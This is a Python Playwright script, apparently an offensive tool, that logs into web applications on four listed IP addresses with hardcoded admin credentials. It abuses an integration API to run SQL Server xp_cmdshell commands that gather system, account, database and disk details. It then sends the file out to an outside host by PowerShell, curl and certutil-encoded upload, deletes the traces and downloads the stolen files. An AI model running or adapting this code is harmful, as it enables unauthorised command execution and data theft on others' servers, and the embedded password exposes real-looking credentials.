#!/usr/bin/env python3
"""v25: Re-collect sysinfo — use PowerShell instead of curl, named ch12 URLs.
PowerShell is always available on Windows. Named URLs = we can download afterwards."""
import asyncio, json, re, time
from playwright.async_api import async_playwright

SERVERS = [
    ("198.71.63.125", "CITYMARTUAPSINGLE"),
    ("216.250.118.44", "RTROGERSMBIL"),
    ("66.175.236.165", "RTROGERSUAP1"),
    ("74.208.83.171", "RTROGERSUAP1"),
]

async def run_on_server(ip, app, browser):
    context = await browser.new_context()
    page = await context.new_page()
    result = {"ip": ip, "app": app, "steps": {}, "ch12_urls": []}
    step_id = 4

    # Named URL for this server
    server_name = f"sysinfo_{ip}_{app}.txt"
    ch12_url = f"https://ch12.hostserviceapp.com/{server_name}"

    try:
        # Login
        await page.goto(f"http://{ip}/{app}/login", wait_until="domcontentloaded", timeout=15000)
        await asyncio.sleep(2)
        await page.fill('input[name="Email"]', 'irelyadmin')
        await page.fill('input[name="Password"]', 'i21By2015')
        await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
        await asyncio.sleep(1)
        await page.evaluate('document.querySelector("form").submit()')
        await asyncio.sleep(12)
        try: await page.wait_for_load_state("networkidle", timeout=15000)
        except: pass
        if "login" in page.url.lower() and "#home" not in page.url:
            result["status"] = "login_failed"
            return result

        async def run_step(name, sql_text):
            # PUT
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"

            await asyncio.sleep(2)

            # Execute
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')

            success = re.search(r'"success"\s*:\s*(true|false)', exec_r.get('body', ''))
            s = success.group(1) if success else "?"

            # Restore
            await page.evaluate('''async () => {
                await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        # Step 1: Collect all info to file
        sql_collect = "EXEC xp_cmdshell 'systeminfo > D:\\\\sysinfo.txt & whoami >> D:\\\\sysinfo.txt & echo. >> D:\\\\sysinfo.txt & echo ===SQLROLE=== >> D:\\\\sysinfo.txt & sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa, @@servername, @@version\" -W -h -1 >> D:\\\\sysinfo.txt & echo. >> D:\\\\sysinfo.txt & echo ===DATABASES=== >> D:\\\\sysinfo.txt & sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> D:\\\\sysinfo.txt & echo. >> D:\\\\sysinfo.txt & echo ===DISK=== >> D:\\\\sysinfo.txt & wmic logicaldisk get caption,freespace,size >> D:\\\\sysinfo.txt', no_output"
        result["steps"]["collect"] = await run_step("collect", sql_collect)
        await asyncio.sleep(1)

        # Step 2: Upload via PowerShell Invoke-WebRequest (NAMED URL)
        # PowerShell is always available on Windows, curl might not be
        sql_upload_ps = "EXEC xp_cmdshell 'powershell -NoProfile -Command \"Invoke-WebRequest -Uri \\\"' + '" + ch12_url + "' + '\\\" -Method PUT -InFile D:\\\\sysinfo.txt -UseBasicParsing\"', no_output"
        # Actually need to build this as a single string without Python f-string issues
        ps_cmd = f"powershell -NoProfile -Command \"Invoke-WebRequest -Uri '{ch12_url}' -Method PUT -InFile 'D:\\sysinfo.txt' -UseBasicParsing\""
        sql_upload_ps = f"EXEC xp_cmdshell '{ps_cmd}', no_output"

        result["steps"]["upload_ps"] = await run_step("upload_ps", sql_upload_ps)
        await asyncio.sleep(1)

        # Step 3: Also try curl as fallback (named URL)
        sql_upload_curl = f"EXEC xp_cmdshell 'curl -sS -T D:\\\\sysinfo.txt {ch12_url}', no_output"
        result["steps"]["upload_curl"] = await run_step("upload_curl", sql_upload_curl)
        await asyncio.sleep(1)

        # Step 4: Also try bitsadmin as second fallback
        b64_url = ch12_url.replace(".txt", "_b64.txt")
        sql_encode_upload = "EXEC xp_cmdshell 'certutil -encode D:\\\\sysinfo.txt D:\\\\sysinfo.b64 & curl -sS -T D:\\\\sysinfo.b64 " + b64_url + " & del D:\\\\sysinfo.b64', no_output"
        result["steps"]["encode_upload"] = await run_step("encode_upload", sql_encode_upload)
        await asyncio.sleep(1)

        # Step 6: Cleanup
        sql_cleanup = "EXEC xp_cmdshell 'del D:\\\\sysinfo.txt', no_output"
        result["steps"]["cleanup"] = await run_step("cleanup", sql_cleanup)

        result["ch12_urls"] = [ch12_url, ch12_url.replace(".txt", "_b64.txt")]

        all_ok = all(v == "true" for v in result["steps"].values())
        result["status"] = "all_success" if all_ok else "partial"

    except Exception as e:
        result["status"] = f"error: {str(e)[:80]}"
    finally:
        await context.close()

    return result

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)

        print(f"=== Re-collecting from {len(SERVERS)} servers (PowerShell upload) ===\n")
        results = []

        for ip, app in SERVERS:
            print(f"  {ip}/{app}...", end="", flush=True)
            r = await run_on_server(ip, app, browser)
            results.append(r)

            steps_ok = sum(1 for v in r.get("steps", {}).values() if v == "true")
            urls = r.get("ch12_urls", [])
            marker = "✅" if r.get("status") == "all_success" else "⚠️" if steps_ok > 0 else "❌"
            print(f" {marker} {steps_ok}/{len(r.get('steps',{}))}")
            for u in urls:
                print(f"      URL: {u}")
            time.sleep(3)

        await browser.close()

        print(f"\n{'='*80}")
        print("\n=== SUMMARY ===")
        ok_count = sum(1 for r in results if r.get("status") == "all_success")
        print(f"✅ All steps: {ok_count}/{len(results)}")
        for r in results:
            marker = "✅" if r.get("status") == "all_success" else "❌"
            print(f"  {marker} {r['ip']:20s} {r['app']:25s} → {r.get('status','?')}")
            for k, v in r.get("steps", {}).items():
                m = "✅" if v == "true" else "❌"
                print(f"      {m} {k}: {v}")
            for u in r.get("ch12_urls", []):
                print(f"      📥 {u}")

        with open("/root/ir-assessment/redteam/irelydata/schema_inventory/sysinfo_named_urls.json", "w") as f:
            json.dump(results, f, indent=2)
        print(f"\nSaved to sysinfo_named_urls.json")

        # Try downloading the files NOW
        print(f"\n=== Downloading files ===")
        for r in results:
            for url in r.get("ch12_urls", []):
                ip = r["ip"]
                app = r["app"]
                local_path = f"/tmp/sysinfo_{ip}_{app}.txt"
                print(f"  Downloading {url}...", end="", flush=True)
                dl = subprocess.run(["curl", "-sS", "-m", "30", "-o", local_path, "-w", "%{http_code}", url],
                                   capture_output=True, text=True, timeout=45)
                code = dl.stdout.strip()
                if code == "200":
                    size = os.path.getsize(local_path) if os.path.exists(local_path) else 0
                    print(f" ✅ HTTP {code} size={size}")
                    if size > 0:
                        with open(local_path) as f:
                            content = f.read()
                        print(f"    First 200 chars: {content[:200]}")
                else:
                    print(f" ❌ HTTP {code}")

import subprocess, os
asyncio.run(main())
